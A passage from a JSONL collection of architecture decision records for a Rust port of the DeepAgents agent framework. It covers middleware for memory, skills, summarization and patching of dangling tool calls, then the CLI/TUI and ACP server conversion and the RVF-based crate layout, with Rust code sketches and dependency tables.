Vec<String>,\n}\n\nimpl MemoryMiddleware {\n pub fn new(backend: BackendRef, sources: Vec<String>) -> Self {\n Self { backend, sources }\n }\n}\n\nimpl Middleware for MemoryMiddleware {\n fn state_keys(&self) -> Vec<&str> {\n vec![\"memory_contents\"]\n }\n\n fn before_agent(\n &self,\n state: &AgentState,\n runtime: &Runtime,\n config: &RunnableConfig,\n ) -> Option<AgentState> {\n // Skip if already loaded\n if state.contains_key(\"memory_contents\") {\n return None;\n }\n\n let backend = self.resolve_backend(state, runtime, config);\n let mut contents: HashMap<String, String> = HashMap::new();\n\n // Batch download all sources\n let responses = backend.download_files(&self.sources);\n for (path, response) in self.sources.iter().zip(responses.iter()) {\n match (&response.error, &response.content) {\n (Some(FileOperationError::FileNotFound), _) => continue,\n (Some(err), _) => panic!(\"Failed to download {}: {:?}\", path, err),\n (None, Some(content)) => {\n contents.insert(\n path.clone(),\n String::from_utf8(content.clone()).unwrap(),\n );\n }\n _ => {}\n }\n }\n\n let mut update = AgentState::new();\n update.insert(\"memory_contents\".into(), serde_json::to_value(&contents).unwrap());\n Some(update)\n }\n\n fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> ModelResponse<()>,\n ) -> ModelResponse<()> {\n let contents: HashMap<String, String> = request.state\n .get(\"memory_contents\")\n .and_then(|v| serde_json::from_value(v.clone()).ok())\n .unwrap_or_default();\n\n let agent_memory = self.format_agent_memory(&contents);\n let new_system = append_to_system_message(&request.system_message, &agent_memory);\n handler(request.override_system(new_system))\n }\n}\n```\n\n#### Memory System Prompt (Exact Fidelity)\n\n```rust\n/// Python: MEMORY_SYSTEM_PROMPT \u2014 156-line prompt template\n/// Preserved verbatim including all examples and guidelines.\npub const MEMORY_SYSTEM_PROMPT: &str = r#\"<agent_memory>\n{agent_memory}\n</agent_memory>\n\n<memory_guidelines>\n The above <agent_memory> was loaded in from files in your filesystem. ...\n [Full prompt preserved \u2014 see Python source memory.py lines 97-156]\n</memory_guidelines>\n\"#;\n```\n\n### 2. SkillsMiddleware\n\n```rust\n/// Skill metadata parsed from YAML frontmatter.\n/// Python: SkillMetadata(TypedDict)\n#[derive(Debug, Clone, Serialize, Deserialize)]\npub struct SkillMetadata {\n pub path: String,\n pub name: String,\n pub description: String,\n pub license: Option<String>,\n pub compatibility: Option<String>,\n pub metadata: HashMap<String, String>,\n pub allowed_tools: Vec<String>,\n}\n\n/// Validation constants per Agent Skills specification.\npub const MAX_SKILL_NAME_LENGTH: usize = 64;\npub const MAX_SKILL_DESCRIPTION_LENGTH: usize = 1024;\npub const MAX_SKILL_COMPATIBILITY_LENGTH: usize = 500;\npub const MAX_SKILL_FILE_SIZE: usize = 10 * 1024 * 1024; // 10MB\n\n/// Python: SkillsMiddleware(AgentMiddleware[SkillsState, ContextT, ResponseT])\npub struct SkillsMiddleware {\n backend: BackendRef,\n sources: Vec<String>,\n}\n\nimpl Middleware for SkillsMiddleware {\n fn state_keys(&self) -> Vec<&str> {\n vec![\"skills_metadata\"]\n }\n\n fn before_agent(\n &self,\n state: &AgentState,\n runtime: &Runtime,\n config: &RunnableConfig,\n ) -> Option<AgentState> {\n if state.contains_key(\"skills_metadata\") {\n return None;\n }\n\n let backend = self.resolve_backend(state, runtime, config);\n let mut all_skills: HashMap<String, SkillMetadata> = HashMap::new();\n\n // Load from each source, later sources override earlier (last wins)\n for source_path in &self.sources {\n let skills = list_skills(&*backend, source_path);\n for skill in skills {\n all_skills.insert(skill.name.clone(), skill);\n }\n }\n\n let skills: Vec<SkillMetadata> = all_skills.into_values().collect();\n let mut update = AgentState::new();\n update.insert(\"skills_metadata\".into(), serde_json::to_value(&skills).unwrap());\n Some(update)\n }\n\n fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> ModelResponse<()>,\n ) -> ModelResponse<()> {\n let skills: Vec<SkillMetadata> = request.state\n .get(\"skills_metadata\")\n .and_then(|v| serde_json::from_value(v.clone()).ok())\n .unwrap_or_default();\n\n let locations = self.format_skills_locations();\n let skills_list = self.format_skills_list(&skills);\n let section = SKILLS_SYSTEM_PROMPT\n .replace(\"{skills_locations}\", &locations)\n .replace(\"{skills_list}\", &skills_list);\n\n let new_system = append_to_system_message(&request.system_message, §ion);\n handler(request.override_system(new_system))\n }\n}\n```\n\n#### Skill Name Validation\n\n```rust\n/// Python: _validate_skill_name(name, directory_name)\n/// Constraints per Agent Skills specification:\n/// - 1-64 chars, Unicode lowercase alphanumeric + hyphens\n/// - No leading/trailing/consecutive hyphens\n/// - Must match directory name\npub fn validate_skill_name(name: &str, directory_name: &str) -> Result<(), String> {\n if name.is_empty() {\n return Err(\"name is required\".into());\n }\n if name.len() > MAX_SKILL_NAME_LENGTH {\n return Err(\"name exceeds 64 characters\".into());\n }\n if name.starts_with('-') || name.ends_with('-') || name.contains(\"--\") {\n return Err(\"name must be lowercase alphanumeric with single hyphens only\".into());\n }\n for c in name.chars() {\n if c == '-' { continue; }\n if (c.is_alphabetic() && c.is_lowercase()) || c.is_ascii_digit() { continue; }\n return Err(\"name must be lowercase alphanumeric with single hyphens only\".into());\n }\n if name != directory_name {\n return Err(format!(\"name '{}' must match directory name '{}'\", name, directory_name));\n }\n Ok(())\n}\n```\n\n#### YAML Frontmatter Parsing\n\n```rust\n/// Python: _parse_skill_metadata(content, skill_path, directory_name)\n/// Uses serde_yaml for YAML parsing (Python uses yaml.safe_load)\npub fn parse_skill_metadata(\n content: &str,\n skill_path: &str,\n directory_name: &str,\n) -> Option<SkillMetadata> {\n if content.len() > MAX_SKILL_FILE_SIZE {\n warn!(\"Skipping {}: content too large ({} bytes)\", skill_path, content.len());\n return None;\n }\n\n // Match YAML frontmatter between --- delimiters\n let re = regex::Regex::new(r\"^---\\s*\\n(.*?)\\n---\\s*\\n\").unwrap();\n let captures = re.captures(content)?;\n let frontmatter_str = captures.get(1)?.as_str();\n\n let frontmatter: serde_yaml::Value = serde_yaml::from_str(frontmatter_str).ok()?;\n let map = frontmatter.as_mapping()?;\n\n let name = map.get(\"name\")?.as_str()?.trim().to_string();\n let description = map.get(\"description\")?.as_str()?.trim().to_string();\n\n // Validate (warn but continue for backwards compatibility)\n if let Err(err) = validate_skill_name(&name, directory_name) {\n warn!(\"Skill '{}' in {} does not follow spec: {}\", name, skill_path, err);\n }\n\n // Parse allowed-tools (space-delimited string, strip commas for Claude Code compat)\n let allowed_tools = map.get(\"allowed-tools\")\n .and_then(|v| v.as_str())\n .map(|s| s.split_whitespace()\n .map(|t| t.trim_matches(',').to_string())\n .filter(|t| !t.is_empty())\n .collect())\n .unwrap_or_default();\n\n Some(SkillMetadata {\n path: skill_path.to_string(),\n name,\n description: truncate(&description, MAX_SKILL_DESCRIPTION_LENGTH),\n license: map.get(\"license\").and_then(|v| v.as_str()).map(|s| s.trim().to_string()),\n compatibility: map.get(\"compatibility\").and_then(|v| v.as_str())\n .map(|s| truncate(s.trim(), MAX_SKILL_COMPATIBILITY_LENGTH)),\n metadata: parse_metadata_field(map.get(\"metadata\"), skill_path),\n allowed_tools,\n })\n}\n```\n\n### 3. SummarizationMiddleware\n\n```rust\n/// Python: SummarizationMiddleware \u2014 auto-compact when token budget exceeded\npub struct SummarizationMiddleware {\n model: Box<dyn ChatModel>,\n backend: BackendRef,\n trigger: TriggerConfig,\n keep: KeepConfig,\n}\n\n/// Trigger configuration for auto-compaction.\n/// Python: trigger=(\"fraction\", 0.85) or (\"tokens\", 100000)\npub enum TriggerConfig {\n Fraction(f64), // Fraction of context window\n Tokens(u64), // Absolute token count\n}\n\n/// How much context to keep after compaction.\n/// Python: keep=(\"fraction\", 0.10) or (\"tokens\", 10000)\npub enum KeepConfig {\n Fraction(f64),\n Tokens(u64),\n}\n\nimpl Middleware for SummarizationMiddleware {\n fn wrap_model_call(\n &self,\n request: ModelRequest<()>,\n handler: &dyn Fn(ModelRequest<()>) -> ModelResponse<()>,\n ) -> ModelResponse<()> {\n let token_count = estimate_tokens(&request.messages);\n let threshold = self.calculate_threshold(&request);\n\n if token_count > threshold {\n // Compact: summarize older messages, keep recent ones\n let keep_count = self.calculate_keep_count(&request);\n let (to_summarize, to_keep) = request.messages.split_at(\n request.messages.len().saturating_sub(keep_count)\n );\n\n let summary = self.summarize(to_summarize);\n\n // Store full history in backend at /conversation_history/{thread_id}.md\n self.offload_history(&request, to_summarize);\n\n let compacted_request = request.with_messages(\n vec![summary_message(summary), to_keep.to_vec()].concat()\n );\n handler(compacted_request)\n } else {\n handler(request)\n }\n }\n}\n\n/// Python: SummarizationToolMiddleware \u2014 compact_conversation tool\npub struct SummarizationToolMiddleware {\n summarization: Arc<SummarizationMiddleware>,\n}\n\nimpl Middleware for SummarizationToolMiddleware {\n fn tools(&self) -> Vec<Box<dyn Tool>> {\n vec![Box::new(CompactConversationTool {\n summarization: self.summarization.clone(),\n })]\n }\n}\n```\n\n### 4. PatchToolCallsMiddleware\n\n```rust\n/// Python: PatchToolCallsMiddleware \u2014 fixes dangling tool calls\npub struct PatchToolCallsMiddleware;\n\nimpl Middleware for PatchToolCallsMiddleware {\n fn before_agent(\n &self,\n state: &AgentState,\n _runtime: &Runtime,\n _config: &RunnableConfig,\n ) -> Option<AgentState> {\n let messages = state.get(\"messages\")?.as_array()?;\n if messages.is_empty() { return None; }\n\n let mut patched = Vec::new();\n for (i, msg) in messages.iter().enumerate() {\n patched.push(msg.clone());\n\n // Check if this is an AI message with tool_calls\n if msg[\"type\"] == \"ai\" {\n if let Some(tool_calls) = msg[\"tool_calls\"].as_array() {\n for tc in tool_calls {\n let tc_id = tc[\"id\"].as_str().unwrap_or(\"\");\n // Check if corresponding ToolMessage exists in remaining messages\n let has_response = messages[i..].iter().any(|m| {\n m[\"type\"] == \"tool\" && m[\"tool_call_id\"] == tc_id\n });\n if !has_response {\n // Add cancellation ToolMessage\n patched.push(serde_json::json!({\n \"type\": \"tool\",\n \"content\": format!(\n \"Tool call {} with id {} was cancelled - \\\n another message came in before it could be completed.\",\n tc[\"name\"].as_str().unwrap_or(\"\"),\n tc_id\n ),\n \"name\": tc[\"name\"],\n \"tool_call_id\": tc_id,\n }));\n }\n }\n }\n }\n }\n\n let mut update = AgentState::new();\n update.insert(\"messages\".into(), serde_json::json!({\"$overwrite\": patched}));\n Some(update)\n }\n}\n```\n\n## Consequences\n\n- All three content middleware layers preserve exact prompt templates and behavior\n- YAML frontmatter parsing uses `serde_yaml` (equivalent to Python's `yaml.safe_load`)\n- Skill validation follows Agent Skills specification character-for-character\n- Summarization uses same trigger/keep fraction logic with identical offload format\n- PatchToolCallsMiddleware patches dangling tool calls identically", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-098-deepagents-memory-skills-summarization.md", "created_at": "2026-03-28T11:58:49.942386+00:00", "content_hash": "e5ab17d200d3b24abcaf1523415017d81815026ce129057ac6887e8c5487d78a"} +{"id": "8cfb6950-9567-4b36-9dc2-6acf08635066", "source": "adr", "text": "# ADR-099: CLI & ACP Server Conversion\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n| **Crates** | `ruvector-deep-cli`, `ruvector-deep-acp` |\n\n## Context\n\n### CLI (`deepagents_cli/`) \u2014 60+ Python modules\n\nThe CLI is a full terminal coding agent with:\n\n- **Textual TUI** \u2014 Rich terminal UI with widgets (chat, approval, diff, model selector, etc.)\n- **Session management** \u2014 Persist/resume conversations across sessions\n- **MCP integration** \u2014 Connect to MCP servers for external tools\n- **Sandbox providers** \u2014 Modal, Runloop, Daytona integrations\n- **Skills system** \u2014 Custom slash commands from SKILL.md files\n- **Hooks** \u2014 Pre/post execution hooks\n- **Non-interactive mode** \u2014 Headless operation for CI/CD\n- **Web search** \u2014 Built-in web search tool\n- **Unicode security** \u2014 Dangerous unicode detection/stripping\n\n### ACP Server (`deepagents_acp/`) \u2014 2 Python modules\n\nAgent Communication Protocol server for remote agent interaction:\n\n- **ACP agent** \u2014 Implements `acp.Agent` interface\n- **Session context** \u2014 Working directory and mode management\n- **Content block conversion** \u2014 Text, image, audio, resource blocks\n\n## Decision\n\n### CLI Architecture (`ruvector-deep-cli`)\n\n#### Core Application\n\n```rust\n// crates/ruvector-deep-cli/src/main.rs\n\nuse clap::Parser;\nuse ratatui::prelude::*;\n\n/// DeepAgents CLI \u2014 Rust edition\n/// Python: deepagents_cli/main.py\n#[derive(Parser)]\n#[command(name = \"deep\", version)]\nstruct Cli {\n /// Prompt to send to the agent\n prompt: Option<String>,\n\n /// Agent name to use\n #[arg(short = 'a', long)]\n agent: Option<String>,\n\n /// Model to use (provider:model format)\n #[arg(short = 'm', long)]\n model: Option<String>,\n\n /// Resume a previous session\n #[arg(short = 'r', long)]\n resume: Option<String>,\n\n /// Non-interactive mode\n #[arg(long)]\n headless: bool,\n\n /// Working directory\n #[arg(short = 'd', long)]\n directory: Option<String>,\n\n /// MCP server configs\n #[arg(long)]\n mcp: Vec<String>,\n\n /// Output format (text/json)\n #[arg(long, default_value = \"text\")]\n output: String,\n}\n```\n\n#### TUI Application (Textual \u2192 ratatui)\n\n| Python Widget (Textual) | Rust Widget (ratatui) |\n|---|---|\n| `ChatInput` | `ChatInputWidget` \u2014 Input with autocomplete |\n| `Messages` | `MessagesWidget` \u2014 Scrollable message list |\n| `Approval` | `ApprovalWidget` \u2014 Tool call approval dialog |\n| `Diff` | `DiffWidget` \u2014 Unified diff display |\n| `ModelSelector` | `ModelSelectorWidget` \u2014 Provider:model picker |\n| `StatusBar` | `StatusWidget` \u2014 Token count, model, session |\n| `Welcome` | `WelcomeWidget` \u2014 Initial greeting |\n| `Loading` | `LoadingWidget` \u2014 Spinner/progress |\n| `ToolRenderers` | `ToolRenderWidget` \u2014 Per-tool output formatting |\n| `ThreadSelector` | `ThreadSelectorWidget` \u2014 Session picker |\n| `McpViewer` | `McpViewerWidget` \u2014 MCP server status |\n| `History` | `HistoryWidget` \u2014 Command history |\n| `AskUser` | `AskUserWidget` \u2014 User input prompts |\n\n```rust\n// crates/ruvector-deep-cli/src/app.rs\n\npub struct App {\n agent: Box<dyn AgentRunnable>,\n session: Session,\n config: CliConfig,\n widgets: WidgetState,\n mcp_clients: Vec<McpClient>,\n}\n\nimpl App {\n pub async fn run(&mut self, terminal: &mut Terminal<impl Backend>) -> Result<()> {\n loop {\n terminal.draw(|f| self.render(f))?;\n if let Some(event) = crossterm::event::poll(Duration::from_millis(100))? {\n self.handle_event(event).await?;\n }\n }\n }\n}\n```\n\n#### Module Mapping\n\n| Python Module | Rust Module | Purpose |\n|---|---|---|\n| `agent.py` | `agent.rs` | Agent creation with backend setup |\n| `app.py` | `app.rs` | TUI application main loop |\n| `config.py` | `config.rs` | Settings, colors, glyphs |\n| `sessions.py` | `sessions.rs` | Session persistence (JSON files) |\n| `hooks.py` | `hooks.rs` | Pre/post execution hooks |\n| `tools.py` | `tools.rs` | CLI-specific tools |\n| `mcp_tools.py` | `mcp.rs` | MCP server connection |\n| `mcp_trust.py` | `mcp_trust.rs` | MCP trust management |\n| `subagents.py` | `subagents.rs` | Subagent listing/management |\n| `skills/load.py` | `skills/load.rs` | Skill discovery and loading |\n| `skills/commands.py` | `skills/commands.rs` | Slash command dispatch |\n| `input.py` | `input.rs` | Input parsing (slash commands, files) |\n| `output.py` | `output.rs` | JSON/text output formatting |\n| `file_ops.py` | `file_ops.rs` | File operation utilities |\n| `clipboard.py` | `clipboard.rs` | System clipboard integration |\n| `media_utils.py` | `media_utils.rs` | Image/media handling |\n| `unicode_security.py` | `unicode_security.rs` | Dangerous unicode detection |\n| `update_check.py` | `update_check.rs` | Version update notifications |\n| `non_interactive.py` | `non_interactive.rs` | Headless mode |\n| `remote_client.py` | `remote_client.rs` | Remote agent connection |\n| `server.py` | `server.rs` | Local agent server |\n| `server_graph.py` | `server_graph.rs` | Server graph management |\n| `server_manager.py` | `server_manager.rs` | Server lifecycle |\n| `model_config.py` | `model_config.rs` | Model configuration |\n| `configurable_model.py` | `configurable_model.rs` | Runtime model switching |\n| `local_context.py` | `local_context.rs` | Project context loading |\n| `project_utils.py` | `project_utils.rs` | Project detection |\n| `tool_display.py` | `tool_display.rs` | Tool output formatting |\n| `textual_adapter.py` | \u2014 | N/A (ratatui native) |\n\n#### Sandbox Integrations\n\n```rust\n// crates/ruvector-deep-cli/src/integrations/\n\n/// Python: integrations/sandbox_factory.py\npub mod sandbox_factory {\n pub fn create_sandbox(provider: &str, config: &SandboxConfig) -> Box<dyn SandboxBackend>;\n}\n\n/// Python: integrations/modal.py\npub mod modal {\n pub struct ModalSandbox { /* Modal API client */ }\n impl SandboxBackend for ModalSandbox { ... }\n}\n\n/// Python: integrations/runloop.py\npub mod runloop {\n pub struct RunloopSandbox { /* Runloop API client */ }\n impl SandboxBackend for RunloopSandbox { ... }\n}\n\n/// Python: integrations/daytona.py\npub mod daytona {\n pub struct DaytonaSandbox { /* Daytona API client */ }\n impl SandboxBackend for DaytonaSandbox { ... }\n}\n```\n\n### ACP Server (`ruvector-deep-acp`)\n\n```rust\n// crates/ruvector-deep-acp/src/server.rs\n\nuse axum::{Router, routing::post};\n\n/// ACP agent session context.\n/// Python: AgentSessionContext\n#[derive(Debug, Clone)]\npub struct AgentSessionContext {\n pub cwd: String,\n pub mode: String,\n}\n\n/// ACP agent implementation.\n/// Python: deepagents_acp server.py\npub struct AcpAgent {\n graph: Box<dyn AgentRunnable>,\n sessions: HashMap<String, AgentSessionContext>,\n}\n\nimpl AcpAgent {\n /// Initialize agent with capabilities.\n /// Python: initialize() -> InitializeResponse\n pub async fn initialize(&self) -> InitializeResponse { ... }\n\n /// Create new session.\n /// Python: new_session() -> NewSessionResponse\n pub async fn new_session(&self, cwd: &str) -> NewSessionResponse { ... }\n\n /// Handle prompt.\n /// Python: prompt() -> PromptResponse\n pub async fn prompt(&self, session_id: &str, content: Vec<ContentBlock>) -> PromptResponse { ... }\n}\n\n/// Content block conversions (exact fidelity).\n/// Python: utils.py \u2014 convert_*_block_to_content_blocks\npub mod utils {\n pub fn convert_text_block(block: &TextContentBlock) -> Vec<ContentBlock> { ... }\n pub fn convert_image_block(block: &ImageContentBlock) -> Vec<ContentBlock> { ... }\n pub fn convert_audio_block(block: &AudioContentBlock) -> Vec<ContentBlock> { ... }\n pub fn convert_resource_block(block: &ResourceContentBlock) -> Vec<ContentBlock> { ... }\n pub fn format_execute_result(response: &ExecuteResponse) -> String { ... }\n pub fn truncate_command_for_display(cmd: &str) -> String { ... }\n}\n```\n\n### CLI Dependencies\n\n```toml\n[dependencies]\n# TUI\nratatui = \"0.29\"\ncrossterm = \"0.28\"\ntui-textarea = \"0.7\"\n\n# CLI\nclap = { version = \"4\", features = [\"derive\"] }\n\n# Async\ntokio = { version = \"1\", features = [\"full\"] }\n\n# HTTP (for MCP, sandbox providers)\nreqwest = { version = \"0.12\", features = [\"json\"] }\n\n# Clipboard\narboard = \"3\"\n\n# Config\ndirs = \"5\"\ntoml = \"0.8\"\n```\n\n## Consequences\n\n- Full TUI rewrite from Textual (Python) to ratatui (Rust) with identical UX\n- All 30+ CLI modules ported with same argument parsing and behavior\n- MCP integration via HTTP/stdio transports (same as Python)\n- Session persistence uses same JSON format for cross-language compatibility\n- ACP server uses axum (same HTTP semantics as Python's implementation)\n- Sandbox providers (Modal, Runloop, Daytona) use reqwest HTTP clients", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-099-deepagents-cli-acp-server.md", "created_at": "2026-03-28T11:58:49.942528+00:00", "content_hash": "323ec229402f1f255ebec0f62f2c6f58fed710d194b322cca56478ee808de69d"} +{"id": "5d4c6507-9091-40b2-b20f-fdd94b16cd3f", "source": "adr", "text": "# ADR-100: RVF Integration & Crate Structure\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Accepted |\n| **Date** | 2026-03-14 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents Rust Conversion) |\n\n## Context\n\nThe Rust conversion must integrate with RuVector's existing workspace of 100+ crates and leverage the RVF (RuVector Format) for serialization, cognitive containers, and WASM deployment.\n\n## Decision\n\n### Workspace Layout\n\n```\ncrates/\n\u251c\u2500\u2500 ruvector-deep-core/ # Core types, agent factory, graph\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # create_deep_agent(), BASE_AGENT_PROMPT\n\u2502 \u251c\u2500\u2500 models.rs # resolve_model(), ChatModel trait\n\u2502 \u251c\u2500\u2500 graph.rs # Agent state machine (replaces LangGraph)\n\u2502 \u251c\u2500\u2500 config.rs # DeepAgentConfig\n\u2502 \u2514\u2500\u2500 messages.rs # Message types (System, Human, AI, Tool)\n\u2502\n\u251c\u2500\u2500 ruvector-deep-backends/ # Backend protocol + all implementations\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # Re-exports\n\u2502 \u251c\u2500\u2500 protocol.rs # Backend, SandboxBackend traits\n\u2502 \u251c\u2500\u2500 state.rs # StateBackend\n\u2502 \u251c\u2500\u2500 filesystem.rs # FilesystemBackend\n\u2502 \u251c\u2500\u2500 local_shell.rs # LocalShellBackend\n\u2502 \u251c\u2500\u2500 composite.rs # CompositeBackend\n\u2502 \u251c\u2500\u2500 sandbox.rs # BaseSandbox trait\n\u2502 \u251c\u2500\u2500 store.rs # StoreBackend (persistent)\n\u2502 \u2514\u2500\u2500 utils.rs # format_content_with_line_numbers, etc.\n\u2502\n\u251c\u2500\u2500 ruvector-deep-middleware/ # Middleware trait + all implementations\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # Middleware trait, MiddlewarePipeline\n\u2502 \u251c\u2500\u2500 todolist.rs # TodoListMiddleware\n\u2502 \u251c\u2500\u2500 filesystem.rs # FilesystemMiddleware (tool injection)\n\u2502 \u251c\u2500\u2500 subagents.rs # SubAgentMiddleware\n\u2502 \u251c\u2500\u2500 summarization.rs # SummarizationMiddleware\n\u2502 \u251c\u2500\u2500 memory.rs # MemoryMiddleware\n\u2502 \u251c\u2500\u2500 skills.rs # SkillsMiddleware\n\u2502 \u251c\u2500\u2500 patch_tool_calls.rs # PatchToolCallsMiddleware\n\u2502 \u251c\u2500\u2500 prompt_caching.rs # PromptCachingMiddleware\n\u2502 \u251c\u2500\u2500 hitl.rs # HumanInTheLoopMiddleware\n\u2502 \u2514\u2500\u2500 utils.rs # append_to_system_message\n\u2502\n\u251c\u2500\u2500 ruvector-deep-tools/ # Tool trait + all tool implementations\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # Tool trait, ToolRuntime, ToolResult\n\u2502 \u251c\u2500\u2500 ls.rs\n\u2502 \u251c\u2500\u2500 read_file.rs\n\u2502 \u251c\u2500\u2500 write_file.rs\n\u2502 \u251c\u2500\u2500 edit_file.rs\n\u2502 \u251c\u2500\u2500 glob.rs\n\u2502 \u251c\u2500\u2500 grep.rs\n\u2502 \u251c\u2500\u2500 execute.rs\n\u2502 \u251c\u2500\u2500 write_todos.rs\n\u2502 \u2514\u2500\u2500 task.rs # SubAgent task tool\n\u2502\n\u251c\u2500\u2500 ruvector-deep-subagents/ # SubAgent types and orchestration\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # SubAgentSpec, CompiledSubAgent\n\u2502 \u251c\u2500\u2500 builder.rs # compile_subagents()\n\u2502 \u2514\u2500\u2500 prompts.rs # TASK_TOOL_DESCRIPTION, TASK_SYSTEM_PROMPT\n\u2502\n\u251c\u2500\u2500 ruvector-deep-cli/ # Terminal UI application\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 main.rs # Entry point\n\u2502 \u251c\u2500\u2500 app.rs # TUI application\n\u2502 \u251c\u2500\u2500 agent.rs # CLI agent creation\n\u2502 \u251c\u2500\u2500 config.rs # Settings management\n\u2502 \u251c\u2500\u2500 sessions.rs # Session persistence\n\u2502 \u251c\u2500\u2500 hooks.rs # Execution hooks\n\u2502 \u251c\u2500\u2500 mcp.rs # MCP client integration\n\u2502 \u251c\u2500\u2500 skills/ # Skill loading and slash commands\n\u2502 \u251c\u2500\u2500 widgets/ # ratatui widgets (15+ modules)\n\u2502 \u251c\u2500\u2500 integrations/ # Modal, Runloop, Daytona\n\u2502 \u2514\u2500\u2500 ... # 20+ additional modules\n\u2502\n\u251c\u2500\u2500 ruvector-deep-acp/ # ACP server\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs\n\u2502 \u251c\u2500\u2500 server.rs # ACP agent implementation\n\u2502 \u2514\u2500\u2500 utils.rs # Content block conversions\n\u2502\n\u251c\u2500\u2500 ruvector-deep-providers/ # LLM provider clients\n\u2502 \u251c\u2500\u2500 Cargo.toml\n\u2502 \u2514\u2500\u2500 src/\n\u2502 \u251c\u2500\u2500 lib.rs # ChatModel trait\n\u2502 \u251c\u2500\u2500 anthropic.rs # Anthropic Claude client\n\u2502 \u251c\u2500\u2500 openai.rs # OpenAI client (Responses API support)\n\u2502 \u2514\u2500\u2500 init_chat_model.rs # \"provider:model\" resolution\n\u2502\n\u2514\u2500\u2500 ruvector-deep-wasm/ # WASM build targets\n \u251c\u2500\u2500 Cargo.toml\n \u2514\u2500\u2500 src/\n \u251c\u2500\u2500 lib.rs # WASM entry points\n \u251c\u2500\u2500 state_backend.rs # StateBackend for browser\n \u2514\u2500\u2500 agent.rs # Browser-compatible agent\n```\n\n### Crate Dependency Graph\n\n```\nruvector-deep-cli\n\u251c\u2500\u2500 ruvector-deep-core\n\u2502 \u251c\u2500\u2500 ruvector-deep-middleware\n\u2502 \u2502 \u251c\u2500\u2500 ruvector-deep-tools\n\u2502 \u2502 \u251c\u2500\u2500 ruvector-deep-subagents\n\u2502 \u2502 \u2514\u2500\u2500 ruvector-deep-backends\n\u2502 \u251c\u2500\u2500 ruvector-deep-providers\n\u2502 \u2514\u2500\u2500 ruvector-deep-backends\n\u251c\u2500\u2500 ruvector-deep-acp\n\u2502 \u2514\u2500\u2500 ruvector-deep-core\n\u2514\u2500\u2500 ruvector-deep-providers\n```\n\n### RVF Integration Points\n\n#### 1. Agent Configuration as RVF Cognitive Containers\n\n```rust\n// Agent configs serialize to RVF for portable agent definitions\nuse ruvector_rvf::{RvfContainer, CognitiveLayer};\n\nimpl DeepAgentConfig {\n /// Serialize agent configuration to RVF cognitive container.\n /// Enables portable agent definitions across Rust/WASM/Python.\n pub fn to_rvf(&self) -> RvfContainer {\n RvfContainer::new()\n .with_layer(CognitiveLayer::AgentConfig {\n model: self.model.identifier(),\n system_prompt: self.system_prompt.clone(),\n tools: self.tool_names(),\n middleware: self.middleware_names(),\n subagents: self.subagent_specs(),\n })\n }\n\n /// Deserialize from RVF cognitive container.\n pub fn from_rvf(container: &RvfContainer) -> Result<Self, RvfError> { ... }\n}\n```\n\n#### 2. State Serialization via RVF\n\n```rust\n// Agent state checkpoints use RVF format for persistence\nimpl StateBackend {\n /// Checkpoint state to RVF.\n pub fn checkpoint_to_rvf(&self) -> RvfContainer {\n let state = self.state.read().unwrap();\n RvfContainer::new()\n .with_layer(CognitiveLayer::AgentState {\n files: state.files.clone(),\n messages: state.messages.clone(),\n todos: state.todos.clone(),\n })\n }\n}\n```\n\n#### 3. WASM Backend via ruvector-wasm\n\n```rust\n// Browser deployment uses StateBackend + WASM-compiled agent\n#[cfg(target_arch = \"wasm32\")]\npub fn create_wasm_agent(config_rvf: &[u8]) -> WasmAgent {\n let config = DeepAgentConfig::from_rvf_bytes(config_rvf).unwrap();\n let agent = create_deep_agent(config);\n WasmAgent { inner: agent }\n}\n```\n\n#### 4. Graph Operations via ruvector-graph\n\n```rust\n// Agent topology maps to RuVector graph primitives\nuse ruvector_graph::Graph;\n\nimpl AgentGraph {\n /// Export agent graph topology for visualization.\n pub fn to_ruvector_graph(&self) -> Graph {\n let mut g = Graph::new();\n // Nodes: agent, subagents, tools\n // Edges: tool calls, state transitions\n ...\n }\n}\n```\n\n### Workspace Cargo.toml Addition\n\n```toml\n# Added to /home/user/RuVector/Cargo.toml [workspace.members]\nmembers = [\n # ... existing crates ...\n \"crates/ruvector-deep-core\",\n \"crates/ruvector-deep-backends\",\n \"crates/ruvector-deep-middleware\",\n \"crates/ruvector-deep-tools\",\n \"crates/ruvector-deep-subagents\",\n \"crates/ruvector-deep-cli\",\n \"crates/ruvector-deep-acp\",\n \"crates/ruvector-deep-providers\",\n \"crates/ruvector-deep-wasm\",\n]\n```\n\n### Existing RuVector Crate Integration\n\n| Existing Crate | Usage in Deep-* |\n|---|---|\n| `ruvector-math` | Token counting, vector operations |\n| `ruvector-graph` | Agent topology visualization |\n| `ruvector-wasm` | WASM compilation targets |\n| `ruvector-solver` | Optimization in agent scheduling |\n| `ruvector-replication` | Multi-agent state sync |\n| `ruvector-hnsw` (via graph) | Semantic search in memory/skills |\n\n## Consequences\n\n- 9 new crates added to workspace with clean dependency boundaries\n- RVF serialization enables agent portability (Rust \u2194 WASM \u2194 Python)\n- WASM compilation via `ruvector-deep-wasm` for browser deployment\n- Existing RuVector crates provide math, graph, and search capabilities\n- Clear separation: backends \u2192 tools \u2192 